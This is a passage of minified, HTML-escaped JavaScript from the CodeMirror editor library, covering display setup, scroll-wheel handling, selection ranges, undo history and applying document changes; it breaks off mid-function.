function Display(place,doc,input,options){var d=this;this.input=input;d.scrollbarFiller=elt(&quot;div&quot;,null,&quot;CodeMirror-scrollbar-filler&quot;);d.scrollbarFiller.setAttribute(&quot;cm-not-content&quot;,&quot;true&quot;);d.gutterFiller=elt(&quot;div&quot;,null,&quot;CodeMirror-gutter-filler&quot;);d.gutterFiller.setAttribute(&quot;cm-not-content&quot;,&quot;true&quot;);d.lineDiv=eltP(&quot;div&quot;,null,&quot;CodeMirror-code&quot;);d.selectionDiv=elt(&quot;div&quot;,null,null,&quot;position: relative; z-index: 1&quot;);d.cursorDiv=elt(&quot;div&quot;,null,&quot;CodeMirror-cursors&quot;);d.measure=elt(&quot;div&quot;,null,&quot;CodeMirror-measure&quot;);d.lineMeasure=elt(&quot;div&quot;,null,&quot;CodeMirror-measure&quot;);d.lineSpace=eltP(&quot;div&quot;,[d.measure,d.lineMeasure,d.selectionDiv,d.cursorDiv,d.lineDiv],null,&quot;position: relative; outline: none&quot;);var lines=eltP(&quot;div&quot;,[d.lineSpace],&quot;CodeMirror-lines&quot;);d.mover=elt(&quot;div&quot;,[lines],null,&quot;position: relative&quot;);d.sizer=elt(&quot;div&quot;,[d.mover],&quot;CodeMirror-sizer&quot;);d.sizerWidth=null;d.heightForcer=elt(&quot;div&quot;,null,null,&quot;position: absolute; height: &quot;+scrollerGap+&quot;px; width: 1px;&quot;);d.gutters=elt(&quot;div&quot;,null,&quot;CodeMirror-gutters&quot;);d.lineGutter=null;d.scroller=elt(&quot;div&quot;,[d.sizer,d.heightForcer,d.gutters],&quot;CodeMirror-scroll&quot;);d.scroller.setAttribute(&quot;tabIndex&quot;,&quot;-1&quot;);d.wrapper=elt(&quot;div&quot;,[d.scrollbarFiller,d.gutterFiller,d.scroller],&quot;CodeMirror&quot;);if(ie&amp;&amp;ie_version&lt;8){d.gutters.style.zIndex=-1;d.scroller.style.paddingRight=0}
if(!webkit&amp;&amp;!(gecko&amp;&amp;mobile)){d.scroller.draggable=!0}
if(place){if(place.appendChild){place.appendChild(d.wrapper)}else{place(d.wrapper)}}
d.viewFrom=d.viewTo=doc.first;d.reportedViewFrom=d.reportedViewTo=doc.first;d.view=[];d.renderedView=null;d.externalMeasured=null;d.viewOffset=0;d.lastWrapHeight=d.lastWrapWidth=0;d.updateLineNumbers=null;d.nativeBarWidth=d.barHeight=d.barWidth=0;d.scrollbarsClipped=!1;d.lineNumWidth=d.lineNumInnerWidth=d.lineNumChars=null;d.alignWidgets=!1;d.cachedCharWidth=d.cachedTextHeight=d.cachedPaddingH=null;d.maxLine=null;d.maxLineLength=0;d.maxLineChanged=!1;d.wheelDX=d.wheelDY=d.wheelStartX=d.wheelStartY=null;d.shift=!1;d.selForContextMenu=null;d.activeTouch=null;d.gutterSpecs=getGutters(options.gutters,options.lineNumbers);renderGutters(d);input.init(d)}
var wheelSamples=0,wheelPixelsPerUnit=null;if(ie){wheelPixelsPerUnit=-.53}else if(gecko){wheelPixelsPerUnit=15}else if(chrome){wheelPixelsPerUnit=-.7}else if(safari){wheelPixelsPerUnit=-1/3}
function wheelEventDelta(e){var dx=e.wheelDeltaX,dy=e.wheelDeltaY;if(dx==null&amp;&amp;e.detail&amp;&amp;e.axis==e.HORIZONTAL_AXIS){dx=e.detail}
if(dy==null&amp;&amp;e.detail&amp;&amp;e.axis==e.VERTICAL_AXIS){dy=e.detail}else if(dy==null){dy=e.wheelDelta}
return{x:dx,y:dy}}
function wheelEventPixels(e){var delta=wheelEventDelta(e);delta.x*=wheelPixelsPerUnit;delta.y*=wheelPixelsPerUnit;return delta}
function onScrollWheel(cm,e){var delta=wheelEventDelta(e),dx=delta.x,dy=delta.y;var display=cm.display,scroll=display.scroller;var canScrollX=scroll.scrollWidth&gt;scroll.clientWidth;var canScrollY=scroll.scrollHeight&gt;scroll.clientHeight;if(!(dx&amp;&amp;canScrollX||dy&amp;&amp;canScrollY)){return}
if(dy&amp;&amp;mac&amp;&amp;webkit){outer:for(var cur=e.target,view=display.view;cur!=scroll;cur=cur.parentNode){for(var i=0;i&lt;view.length;i++){if(view[i].node==cur){cm.display.currentWheelTarget=cur;break outer}}}}
if(dx&amp;&amp;!gecko&amp;&amp;!presto&amp;&amp;wheelPixelsPerUnit!=null){if(dy&amp;&amp;canScrollY){updateScrollTop(cm,Math.max(0,scroll.scrollTop+dy*wheelPixelsPerUnit))}
setScrollLeft(cm,Math.max(0,scroll.scrollLeft+dx*wheelPixelsPerUnit));if(!dy||(dy&amp;&amp;canScrollY)){e_preventDefault(e)}
display.wheelStartX=null;return}
if(dy&amp;&amp;wheelPixelsPerUnit!=null){var pixels=dy*wheelPixelsPerUnit;var top=cm.doc.scrollTop,bot=top+display.wrapper.clientHeight;if(pixels&lt;0){top=Math.max(0,top+pixels-50)}else{bot=Math.min(cm.doc.height,bot+pixels+50)}
updateDisplaySimple(cm,{top:top,bottom:bot})}
if(wheelSamples&lt;20){if(display.wheelStartX==null){display.wheelStartX=scroll.scrollLeft;display.wheelStartY=scroll.scrollTop;display.wheelDX=dx;display.wheelDY=dy;setTimeout(function(){if(display.wheelStartX==null){return}
var movedX=scroll.scrollLeft-display.wheelStartX;var movedY=scroll.scrollTop-display.wheelStartY;var sample=(movedY&amp;&amp;display.wheelDY&amp;&amp;movedY/display.wheelDY)||(movedX&amp;&amp;display.wheelDX&amp;&amp;movedX/display.wheelDX);display.wheelStartX=display.wheelStartY=null;if(!sample){return}
wheelPixelsPerUnit=(wheelPixelsPerUnit*wheelSamples+sample)/(wheelSamples+1);++wheelSamples},200)}else{display.wheelDX+=dx;display.wheelDY+=dy}}}
var Selection=function(ranges,primIndex){this.ranges=ranges;this.primIndex=primIndex};Selection.prototype.primary=function(){return this.ranges[this.primIndex]};Selection.prototype.equals=function(other){if(other==this){return!0}
if(other.primIndex!=this.primIndex||other.ranges.length!=this.ranges.length){return!1}
for(var i=0;i&lt;this.ranges.length;i++){var here=this.ranges[i],there=other.ranges[i];if(!equalCursorPos(here.anchor,there.anchor)||!equalCursorPos(here.head,there.head)){return!1}}
return!0};Selection.prototype.deepCopy=function(){var out=[];for(var i=0;i&lt;this.ranges.length;i++){out[i]=new Range(copyPos(this.ranges[i].anchor),copyPos(this.ranges[i].head))}
return new Selection(out,this.primIndex)};Selection.prototype.somethingSelected=function(){for(var i=0;i&lt;this.ranges.length;i++){if(!this.ranges[i].empty()){return!0}}
return!1};Selection.prototype.contains=function(pos,end){if(!end){end=pos}
for(var i=0;i&lt;this.ranges.length;i++){var range=this.ranges[i];if(cmp(end,range.from())&gt;=0&amp;&amp;cmp(pos,range.to())&lt;=0){return i}}
return-1};var Range=function(anchor,head){this.anchor=anchor;this.head=head};Range.prototype.from=function(){return minPos(this.anchor,this.head)};Range.prototype.to=function(){return maxPos(this.anchor,this.head)};Range.prototype.empty=function(){return this.head.line==this.anchor.line&amp;&amp;this.head.ch==this.anchor.ch};function normalizeSelection(cm,ranges,primIndex){var mayTouch=cm&amp;&amp;cm.options.selectionsMayTouch;var prim=ranges[primIndex];ranges.sort(function(a,b){return cmp(a.from(),b.from())});primIndex=indexOf(ranges,prim);for(var i=1;i&lt;ranges.length;i++){var cur=ranges[i],prev=ranges[i-1];var diff=cmp(prev.to(),cur.from());if(mayTouch&amp;&amp;!cur.empty()?diff&gt;0:diff&gt;=0){var from=minPos(prev.from(),cur.from()),to=maxPos(prev.to(),cur.to());var inv=prev.empty()?cur.from()==cur.head:prev.from()==prev.head;if(i&lt;=primIndex){--primIndex}
ranges.splice(--i,2,new Range(inv?to:from,inv?from:to))}}
return new Selection(ranges,primIndex)}
function simpleSelection(anchor,head){return new Selection([new Range(anchor,head||anchor)],0)}
function changeEnd(change){if(!change.text){return change.to}
return Pos(change.from.line+change.text.length-1,lst(change.text).length+(change.text.length==1?change.from.ch:0))}
function adjustForChange(pos,change){if(cmp(pos,change.from)&lt;0){return pos}
if(cmp(pos,change.to)&lt;=0){return changeEnd(change)}
var line=pos.line+change.text.length-(change.to.line-change.from.line)-1,ch=pos.ch;if(pos.line==change.to.line){ch+=changeEnd(change).ch-change.to.ch}
return Pos(line,ch)}
function computeSelAfterChange(doc,change){var out=[];for(var i=0;i&lt;doc.sel.ranges.length;i++){var range=doc.sel.ranges[i];out.push(new Range(adjustForChange(range.anchor,change),adjustForChange(range.head,change)))}
return normalizeSelection(doc.cm,out,doc.sel.primIndex)}
function offsetPos(pos,old,nw){if(pos.line==old.line){return Pos(nw.line,pos.ch-old.ch+nw.ch)}else{return Pos(nw.line+(pos.line-old.line),pos.ch)}}
function computeReplacedSel(doc,changes,hint){var out=[];var oldPrev=Pos(doc.first,0),newPrev=oldPrev;for(var i=0;i&lt;changes.length;i++){var change=changes[i];var from=offsetPos(change.from,oldPrev,newPrev);var to=offsetPos(changeEnd(change),oldPrev,newPrev);oldPrev=change.to;newPrev=to;if(hint==&quot;around&quot;){var range=doc.sel.ranges[i],inv=cmp(range.head,range.anchor)&lt;0;out[i]=new Range(inv?to:from,inv?from:to)}else{out[i]=new Range(from,from)}}
return new Selection(out,doc.sel.primIndex)}
function loadMode(cm){cm.doc.mode=getMode(cm.options,cm.doc.modeOption);resetModeState(cm)}
function resetModeState(cm){cm.doc.iter(function(line){if(line.stateAfter){line.stateAfter=null}
if(line.styles){line.styles=null}});cm.doc.modeFrontier=cm.doc.highlightFrontier=cm.doc.first;startWorker(cm,100);cm.state.modeGen++;if(cm.curOp){regChange(cm)}}
function isWholeLineUpdate(doc,change){return change.from.ch==0&amp;&amp;change.to.ch==0&amp;&amp;lst(change.text)==&quot;&quot;&amp;&amp;(!doc.cm||doc.cm.options.wholeLineUpdateBefore)}
function updateDoc(doc,change,markedSpans,estimateHeight){function spansFor(n){return markedSpans?markedSpans[n]:null}
function update(line,text,spans){updateLine(line,text,spans,estimateHeight);signalLater(line,&quot;change&quot;,line,change)}
function linesFor(start,end){var result=[];for(var i=start;i&lt;end;++i){result.push(new Line(text[i],spansFor(i),estimateHeight))}
return result}
var from=change.from,to=change.to,text=change.text;var firstLine=getLine(doc,from.line),lastLine=getLine(doc,to.line);var lastText=lst(text),lastSpans=spansFor(text.length-1),nlines=to.line-from.line;if(change.full){doc.insert(0,linesFor(0,text.length));doc.remove(text.length,doc.size-text.length)}else if(isWholeLineUpdate(doc,change)){var added=linesFor(0,text.length-1);update(lastLine,lastLine.text,lastSpans);if(nlines){doc.remove(from.line,nlines)}
if(added.length){doc.insert(from.line,added)}}else if(firstLine==lastLine){if(text.length==1){update(firstLine,firstLine.text.slice(0,from.ch)+lastText+firstLine.text.slice(to.ch),lastSpans)}else{var added$1=linesFor(1,text.length-1);added$1.push(new Line(lastText+firstLine.text.slice(to.ch),lastSpans,estimateHeight));update(firstLine,firstLine.text.slice(0,from.ch)+text[0],spansFor(0));doc.insert(from.line+1,added$1)}}else if(text.length==1){update(firstLine,firstLine.text.slice(0,from.ch)+text[0]+lastLine.text.slice(to.ch),spansFor(0));doc.remove(from.line+1,nlines)}else{update(firstLine,firstLine.text.slice(0,from.ch)+text[0],spansFor(0));update(lastLine,lastText+lastLine.text.slice(to.ch),lastSpans);var added$2=linesFor(1,text.length-1);if(nlines&gt;1){doc.remove(from.line+1,nlines-1)}
doc.insert(from.line+1,added$2)}
signalLater(doc,&quot;change&quot;,doc,change)}
function linkedDocs(doc,f,sharedHistOnly){function propagate(doc,skip,sharedHist){if(doc.linked){for(var i=0;i&lt;doc.linked.length;++i){var rel=doc.linked[i];if(rel.doc==skip){continue}
var shared=sharedHist&amp;&amp;rel.sharedHist;if(sharedHistOnly&amp;&amp;!shared){continue}
f(rel.doc,shared);propagate(rel.doc,doc,shared)}}}
propagate(doc,null,!0)}
function attachDoc(cm,doc){if(doc.cm){throw new Error(&quot;This document is already in use.&quot;)}
cm.doc=doc;doc.cm=cm;estimateLineHeights(cm);loadMode(cm);setDirectionClass(cm);if(!cm.options.lineWrapping){findMaxLine(cm)}
cm.options.mode=doc.modeOption;regChange(cm)}
function setDirectionClass(cm){(cm.doc.direction==&quot;rtl&quot;?addClass:rmClass)(cm.display.lineDiv,&quot;CodeMirror-rtl&quot;)}
function directionChanged(cm){runInOp(cm,function(){setDirectionClass(cm);regChange(cm)})}
function History(startGen){this.done=[];this.undone=[];this.undoDepth=Infinity;this.lastModTime=this.lastSelTime=0;this.lastOp=this.lastSelOp=null;this.lastOrigin=this.lastSelOrigin=null;this.generation=this.maxGeneration=startGen||1}
function historyChangeFromChange(doc,change){var histChange={from:copyPos(change.from),to:changeEnd(change),text:getBetween(doc,change.from,change.to)};attachLocalSpans(doc,histChange,change.from.line,change.to.line+1);linkedDocs(doc,function(doc){return attachLocalSpans(doc,histChange,change.from.line,change.to.line+1)},!0);return histChange}
function clearSelectionEvents(array){while(array.length){var last=lst(array);if(last.ranges){array.pop()}else{break}}}
function lastChangeEvent(hist,force){if(force){clearSelectionEvents(hist.done);return lst(hist.done)}else if(hist.done.length&amp;&amp;!lst(hist.done).ranges){return lst(hist.done)}else if(hist.done.length&gt;1&amp;&amp;!hist.done[hist.done.length-2].ranges){hist.done.pop();return lst(hist.done)}}
function addChangeToHistory(doc,change,selAfter,opId){var hist=doc.history;hist.undone.length=0;var time=+new Date,cur;var last;if((hist.lastOp==opId||hist.lastOrigin==change.origin&amp;&amp;change.origin&amp;&amp;((change.origin.charAt(0)==&quot;+&quot;&amp;&amp;hist.lastModTime&gt;time-(doc.cm?doc.cm.options.historyEventDelay:500))||change.origin.charAt(0)==&quot;*&quot;))&amp;&amp;(cur=lastChangeEvent(hist,hist.lastOp==opId))){last=lst(cur.changes);if(cmp(change.from,change.to)==0&amp;&amp;cmp(change.from,last.to)==0){last.to=changeEnd(change)}else{cur.changes.push(historyChangeFromChange(doc,change))}}else{var before=lst(hist.done);if(!before||!before.ranges){pushSelectionToHistory(doc.sel,hist.done)}
cur={changes:[historyChangeFromChange(doc,change)],generation:hist.generation};hist.done.push(cur);while(hist.done.length&gt;hist.undoDepth){hist.done.shift();if(!hist.done[0].ranges){hist.done.shift()}}}
hist.done.push(selAfter);hist.generation=++hist.maxGeneration;hist.lastModTime=hist.lastSelTime=time;hist.lastOp=hist.lastSelOp=opId;hist.lastOrigin=hist.lastSelOrigin=change.origin;if(!last){signal(doc,&quot;historyAdded&quot;)}}
function selectionEventCanBeMerged(doc,origin,prev,sel){var ch=origin.charAt(0);return ch==&quot;*&quot;||ch==&quot;+&quot;&amp;&amp;prev.ranges.length==sel.ranges.length&amp;&amp;prev.somethingSelected()==sel.somethingSelected()&amp;&amp;new Date-doc.history.lastSelTime&lt;=(doc.cm?doc.cm.options.historyEventDelay:500)}
function addSelectionToHistory(doc,sel,opId,options){var hist=doc.history,origin=options&amp;&amp;options.origin;if(opId==hist.lastSelOp||(origin&amp;&amp;hist.lastSelOrigin==origin&amp;&amp;(hist.lastModTime==hist.lastSelTime&amp;&amp;hist.lastOrigin==origin||selectionEventCanBeMerged(doc,origin,lst(hist.done),sel)))){hist.done[hist.done.length-1]=sel}else{pushSelectionToHistory(sel,hist.done)}
hist.lastSelTime=+new Date;hist.lastSelOrigin=origin;hist.lastSelOp=opId;if(options&amp;&amp;options.clearRedo!==!1){clearSelectionEvents(hist.undone)}}
function pushSelectionToHistory(sel,dest){var top=lst(dest);if(!(top&amp;&amp;top.ranges&amp;&amp;top.equals(sel))){dest.push(sel)}}
function attachLocalSpans(doc,change,from,to){var existing=change[&quot;spans_&quot;+doc.id],n=0;doc.iter(Math.max(doc.first,from),Math.min(doc.first+doc.size,to),function(line){if(line.markedSpans){(existing||(existing=change[&quot;spans_&quot;+doc.id]={}))[n]=line.markedSpans}
++n})}
function removeClearedSpans(spans){if(!spans){return null}
var out;for(var i=0;i&lt;spans.length;++i){if(spans[i].marker.explicitlyCleared){if(!out){out=spans.slice(0,i)}}else if(out){out.push(spans[i])}}
return!out?spans:out.length?out:null}
function getOldSpans(doc,change){var found=change[&quot;spans_&quot;+doc.id];if(!found){return null}
var nw=[];for(var i=0;i&lt;change.text.length;++i){nw.push(removeClearedSpans(found[i]))}
return nw}
function mergeOldSpans(doc,change){var old=getOldSpans(doc,change);var stretched=stretchSpansOverChange(doc,change);if(!old){return stretched}
if(!stretched){return old}
for(var i=0;i&lt;old.length;++i){var oldCur=old[i],stretchCur=stretched[i];if(oldCur&amp;&amp;stretchCur){spans:for(var j=0;j&lt;stretchCur.length;++j){var span=stretchCur[j];for(var k=0;k&lt;oldCur.length;++k){if(oldCur[k].marker==span.marker){continue spans}}
oldCur.push(span)}}else if(stretchCur){old[i]=stretchCur}}
return old}
function copyHistoryArray(events,newGroup,instantiateSel){var copy=[];for(var i=0;i&lt;events.length;++i){var event=events[i];if(event.ranges){copy.push(instantiateSel?Selection.prototype.deepCopy.call(event):event);continue}
var changes=event.changes,newChanges=[];copy.push({changes:newChanges});for(var j=0;j&lt;changes.length;++j){var change=changes[j],m=(void 0);newChanges.push({from:change.from,to:change.to,text:change.text});if(newGroup){for(var prop in change){if(m=prop.match(/^spans_(\d+)$/)){if(indexOf(newGroup,Number(m[1]))&gt;-1){lst(newChanges)[prop]=change[prop];delete change[prop]}}}}}}
return copy}
function extendRange(range,head,other,extend){if(extend){var anchor=range.anchor;if(other){var posBefore=cmp(head,anchor)&lt;0;if(posBefore!=(cmp(other,anchor)&lt;0)){anchor=head;head=other}else if(posBefore!=(cmp(head,other)&lt;0)){head=other}}
return new Range(anchor,head)}else{return new Range(other||head,head)}}
function extendSelection(doc,head,other,options,extend){if(extend==null){extend=doc.cm&amp;&amp;(doc.cm.display.shift||doc.extend)}
setSelection(doc,new Selection([extendRange(doc.sel.primary(),head,other,extend)],0),options)}
function extendSelections(doc,heads,options){var out=[];var extend=doc.cm&amp;&amp;(doc.cm.display.shift||doc.extend);for(var i=0;i&lt;doc.sel.ranges.length;i++){out[i]=extendRange(doc.sel.ranges[i],heads[i],null,extend)}
var newSel=normalizeSelection(doc.cm,out,doc.sel.primIndex);setSelection(doc,newSel,options)}
function replaceOneSelection(doc,i,range,options){var ranges=doc.sel.ranges.slice(0);ranges[i]=range;setSelection(doc,normalizeSelection(doc.cm,ranges,doc.sel.primIndex),options)}
function setSimpleSelection(doc,anchor,head,options){setSelection(doc,simpleSelection(anchor,head),options)}
function filterSelectionChange(doc,sel,options){var obj={ranges:sel.ranges,update:function(ranges){this.ranges=[];for(var i=0;i&lt;ranges.length;i++){this.ranges[i]=new Range(clipPos(doc,ranges[i].anchor),clipPos(doc,ranges[i].head))}},origin:options&amp;&amp;options.origin};signal(doc,&quot;beforeSelectionChange&quot;,doc,obj);if(doc.cm){signal(doc.cm,&quot;beforeSelectionChange&quot;,doc.cm,obj)}
if(obj.ranges!=sel.ranges){return normalizeSelection(doc.cm,obj.ranges,obj.ranges.length-1)}else{return sel}}
function setSelectionReplaceHistory(doc,sel,options){var done=doc.history.done,last=lst(done);if(last&amp;&amp;last.ranges){done[done.length-1]=sel;setSelectionNoUndo(doc,sel,options)}else{setSelection(doc,sel,options)}}
function setSelection(doc,sel,options){setSelectionNoUndo(doc,sel,options);addSelectionToHistory(doc,doc.sel,doc.cm?doc.cm.curOp.id:NaN,options)}
function setSelectionNoUndo(doc,sel,options){if(hasHandler(doc,&quot;beforeSelectionChange&quot;)||doc.cm&amp;&amp;hasHandler(doc.cm,&quot;beforeSelectionChange&quot;)){sel=filterSelectionChange(doc,sel,options)}
var bias=options&amp;&amp;options.bias||(cmp(sel.primary().head,doc.sel.primary().head)&lt;0?-1:1);setSelectionInner(doc,skipAtomicInSelection(doc,sel,bias,!0));if(!(options&amp;&amp;options.scroll===!1)&amp;&amp;doc.cm){ensureCursorVisible(doc.cm)}}
function setSelectionInner(doc,sel){if(sel.equals(doc.sel)){return}
doc.sel=sel;if(doc.cm){doc.cm.curOp.updateInput=1;doc.cm.curOp.selectionChanged=!0;signalCursorActivity(doc.cm)}
signalLater(doc,&quot;cursorActivity&quot;,doc)}
function reCheckSelection(doc){setSelectionInner(doc,skipAtomicInSelection(doc,doc.sel,null,!1))}
function skipAtomicInSelection(doc,sel,bias,mayClear){var out;for(var i=0;i&lt;sel.ranges.length;i++){var range=sel.ranges[i];var old=sel.ranges.length==doc.sel.ranges.length&amp;&amp;doc.sel.ranges[i];var newAnchor=skipAtomic(doc,range.anchor,old&amp;&amp;old.anchor,bias,mayClear);var newHead=skipAtomic(doc,range.head,old&amp;&amp;old.head,bias,mayClear);if(out||newAnchor!=range.anchor||newHead!=range.head){if(!out){out=sel.ranges.slice(0,i)}
out[i]=new Range(newAnchor,newHead)}}
return out?normalizeSelection(doc.cm,out,sel.primIndex):sel}
function skipAtomicInner(doc,pos,oldPos,dir,mayClear){var line=getLine(doc,pos.line);if(line.markedSpans){for(var i=0;i&lt;line.markedSpans.length;++i){var sp=line.markedSpans[i],m=sp.marker;var preventCursorLeft=(&quot;selectLeft&quot; in m)?!m.selectLeft:m.inclusiveLeft;var preventCursorRight=(&quot;selectRight&quot; in m)?!m.selectRight:m.inclusiveRight;if((sp.from==null||(preventCursorLeft?sp.from&lt;=pos.ch:sp.from&lt;pos.ch))&amp;&amp;(sp.to==null||(preventCursorRight?sp.to&gt;=pos.ch:sp.to&gt;pos.ch))){if(mayClear){signal(m,&quot;beforeCursorEnter&quot;);if(m.explicitlyCleared){if(!line.markedSpans){break}else{--i;continue}}}
if(!m.atomic){continue}
if(oldPos){var near=m.find(dir&lt;0?1:-1),diff=(void 0);if(dir&lt;0?preventCursorRight:preventCursorLeft){near=movePos(doc,near,-dir,near&amp;&amp;near.line==pos.line?line:null)}
if(near&amp;&amp;near.line==pos.line&amp;&amp;(diff=cmp(near,oldPos))&amp;&amp;(dir&lt;0?diff&lt;0:diff&gt;0)){return skipAtomicInner(doc,near,pos,dir,mayClear)}}
var far=m.find(dir&lt;0?-1:1);if(dir&lt;0?preventCursorLeft:preventCursorRight){far=movePos(doc,far,dir,far.line==pos.line?line:null)}
return far?skipAtomicInner(doc,far,pos,dir,mayClear):null}}}
return pos}
function skipAtomic(doc,pos,oldPos,bias,mayClear){var dir=bias||1;var found=skipAtomicInner(doc,pos,oldPos,dir,mayClear)||(!mayClear&amp;&amp;skipAtomicInner(doc,pos,oldPos,dir,!0))||skipAtomicInner(doc,pos,oldPos,-dir,mayClear)||(!mayClear&amp;&amp;skipAtomicInner(doc,pos,oldPos,-dir,!0));if(!found){doc.cantEdit=!0;return Pos(doc.first,0)}
return found}
function movePos(doc,pos,dir,line){if(dir&lt;0&amp;&amp;pos.ch==0){if(pos.line&gt;doc.first){return clipPos(doc,Pos(pos.line-1))}else{return null}}else if(dir&gt;0&amp;&amp;pos.ch==(line||getLine(doc,pos.line)).text.length){if(pos.line&lt;doc.first+doc.size-1){return Pos(pos.line+1,0)}else{return null}}else{return new Pos(pos.line,pos.ch+dir)}}
function selectAll(cm){cm.setSelection(Pos(cm.firstLine(),0),Pos(cm.lastLine()),sel_dontScroll)}
function filterChange(doc,change,update){var obj={canceled:!1,from:change.from,to:change.to,text:change.text,origin:change.origin,cancel:function(){return obj.canceled=!0}};if(update){obj.update=function(from,to,text,origin){if(from){obj.from=clipPos(doc,from)}
if(to){obj.to=clipPos(doc,to)}
if(text){obj.text=text}
if(origin!==undefined){obj.origin=origin}}}
signal(doc,&quot;beforeChange&quot;,doc,obj);if(doc.cm){signal(doc.cm,&quot;beforeChange&quot;,doc.cm,obj)}
if(obj.canceled){if(doc.cm){doc.cm.curOp.updateInput=2}
return null}
return{from:obj.from,to:obj.to,text:obj.text,origin:obj.origin}}
function makeChange(doc,change,ignoreReadOnly){if(doc.cm){if(!doc.cm.curOp){return operation(doc.cm,makeChange)(doc,change,ignoreReadOnly)}
if(doc.cm.state.suppressEdits){return}}
if(hasHandler(doc,&quot;beforeChange&quot;)||doc.cm&amp;&amp;hasHandler(doc.cm,&quot;beforeChange&quot;)){change=filterChange(doc,change,!0);if(!change){return}}
var split=sawReadOnlySpans&amp;&amp;!ignoreReadOnly&amp;&amp;removeReadOnlyRanges(doc,change.from,change.to);if(split){for(var i=split.length-1;i&gt;=0;--i){makeChangeInner(doc,{from:split[i].from,to:split[i].to,text:i?[&quot;&quot;]:change.text,origin:change.origin})}}else{makeChangeInner(doc,change)}}
function makeChangeInner(doc,change){if(change.text.length==1&amp;&amp;change.text[0]==&quot;&quot;&amp;&amp;cmp(change.from,change.to)==0){return}
var selAfter=computeSelAfterChange(doc,change);addChangeToHistory(doc,change,selAfter,doc.cm?doc.cm.curOp.id:NaN);makeChangeSingleDoc(doc,change,selAfter,stretchSpansOverChange(doc,change));var rebased=[];linkedDocs(doc,function(doc,sharedHist){if(!sharedHist&amp;&amp;indexOf(rebased,doc.history)==-1){rebaseHist(doc.history,change);rebased.push(doc.history)}
makeChangeSingleDoc(doc,change,null,stretchSpansOverChange(doc,change))})}
function makeChangeFromHistory(doc,type,allowSelectionOnly){var suppress=doc.cm&amp;&amp;doc.cm.state.suppressEdits;if(suppress&amp;&amp;!allowSelectionOnly){return}
var hist=doc.history,event,selAfter=doc.sel;var source=type==&quot;undo&quot;?hist.done:hist.undone,dest=type==&quot;undo&quot;?hist.undone:hist.done;var i=0;for(;i&lt;source.length;i++){event=source[i];if(allowSelectionOnly?event.ranges&amp;&amp;!event.equals(doc.sel):!event.ranges){break}}
if(i==source.length){return}
hist.lastOrigin=hist.lastSelOrigin=null;for(;;){event=source.pop();if(event.ranges){pushSelectionToHistory(event,dest);if(allowSelectionOnly&amp;&amp;!event.equals(doc.sel)){setSelection(doc,event,{clearRedo:!1});return}
selAfter=event}else if(suppress){source.push(event);return}else{break}}
var antiChanges=[];pushSelectionToHistory(selAfter,dest);dest.push({changes:antiChanges,generation:hist.generation});hist.generation=event.generation||++hist.maxGeneration;var filter=hasHandler(doc,&quot;beforeChange&quot;)||doc.cm&amp;&amp;hasHandler(doc.cm,&quot;beforeChange&quot;);var loop=function(i){var change=event.changes[i];change.origin=type;if(filter&amp;&amp;!filterChange(doc,change,!1)){source.length=0;return{}}
antiChanges.push(historyChangeFromChange(doc,change));var after=i?computeSelAfterChange(doc,change):lst(source);makeChangeSingleDoc(doc,change,after,mergeOldSpans(doc,change));if(!i&amp;&amp;doc.cm){doc.cm.scrollIntoView({from:change.from,to:changeEnd(change)})}
var rebased=[];linkedDocs(doc,function(doc,sharedHist){if(!sharedHist&amp;&amp;indexOf(rebased,doc.history)==-1){rebaseHist(doc.history,change);rebased.push(doc.history)}
makeChangeSingleDoc(doc,change,null,mergeOldSpans(doc,change))})};for(var i$1=event.changes.length-1;i$1&gt;=0;--i$1){var returned=loop(i$1);if(returned)return returned.v}}
function shiftDoc(doc,distance){if(distance==0){return}
doc.first+=distance;doc.sel=new Selection(map(doc.sel.ranges,function(range){return new Range(Pos(range.anchor.line+distance,range.anchor.ch),Pos(range.head.line+distance,range.head.ch))}),doc.sel.primIndex);if(doc.cm){regChange(doc.cm,doc.first,doc.first-distance,distance);for(var d=doc.cm.display,l=d.viewFrom;l&lt;d.viewTo;l++){regLineChange(doc.cm,l,&quot;gutter&quot;)}}}
function makeChangeSingleDoc(doc,change,selAfter,spans){if(doc.cm&amp;&amp;!doc.cm.curOp){return operation(doc.cm,makeChangeSingleDoc)(doc,change,selAfter,spans)}
if(change.to.line&lt;doc.first){shiftDoc(doc,change.text.length-1-(change.to.line-change.from.line));return}
if(change.from.line&gt;doc.lastLine()){return}
if(change.from.line&lt;doc.first){var shift=change.text.length-1-(doc.first-change.from.line);shiftDoc(doc,shift);change={from:Pos(doc.first,0),to:Pos(change.to.line+shift,change.to.ch),text:[lst(change.text)],origin:change.origin}}
var last=doc.lastLine();if(change.to.line&gt;last){change={from:change.from,to:Pos(last,getLine(doc,last).text.length),text:[change.text[0]],origin:change.origin}}
change.removed=getBetween(doc,change.from,change.to);if(!selAfter){selAfter=computeSelAfterChange(doc,change)}
if(doc.cm){makeChangeSingleDocInEditor(doc.cm,change,spans)}else{updateDoc(doc,change,spans)}
setSelectionNoUndo(doc,selAfter,sel_dontScroll);if(doc.cantEdit&amp;&amp;skipAtomic(doc,Pos(doc.firstLine(),0))){doc.cantEdit=!1}}
function makeChangeSingleDocInEditor(cm,change,spans){var doc=cm.doc,display=cm.display,from=change.from,to=change.to;var recomputeMaxLength=!1,checkWidthStart=from.line;if(!cm.options.lineWrapping){checkWidthStart=lineNo(visualLine(getLine(doc,from.line)));doc.iter(checkWidthStart,to.line+1,function(line){if(line==display.maxLine){recomputeMaxLength=!0;return!0}})}
if(doc.sel.contains(change.from,change.to)&gt;-1){signalCursorActivity(cm)}
updateDoc(doc,change,spans,estimateHeight(cm));if(!cm.options.lineWrapping){doc.iter(checkWidthStart,from.line+change.text.length,function(line){var len=lineLength(line);if(len&gt;display.maxLineLength){display.maxLine=line;display.maxLineLength=len;display.maxLineChanged=!0;recomputeMaxLength=!1}});if(recomputeMaxLength){cm.curOp.updateMaxLine=!0}}
retreatFrontier(doc,from.line);startWorker(cm,400);var lendiff=change.text.length-(to.line-from.line)-1;if(change.full){regChange(cm)}else if(from.line==to.line&amp;&amp;change.text.length==1&amp;&amp;!isWholeLineUpdate(cm.doc,change)){regLineChange(cm,from.line,&quot;text&quot;)}else{regChange(cm,from.line,to.line+1,lendiff)}
var changesHandler=hasHandler(cm,&quot;changes&quot;),changeHandler=hasHandler(cm,&quot;change&quot;);if(changeHandler||changesHandler){var obj={from:from,to:to,text:change.text,removed:change.removed,origin:change.origin};if(changeHandler){signalLater(cm,&quot;change&quot;,cm,obj)}
if(changesHandler){(cm.curOp.changeObjs||(cm.curOp.changeObjs=[])).push(obj)}}
cm.display.selForContextMenu=null}
function replaceRange(doc,code,from,to,origin){var assign;if(!to){to=from}
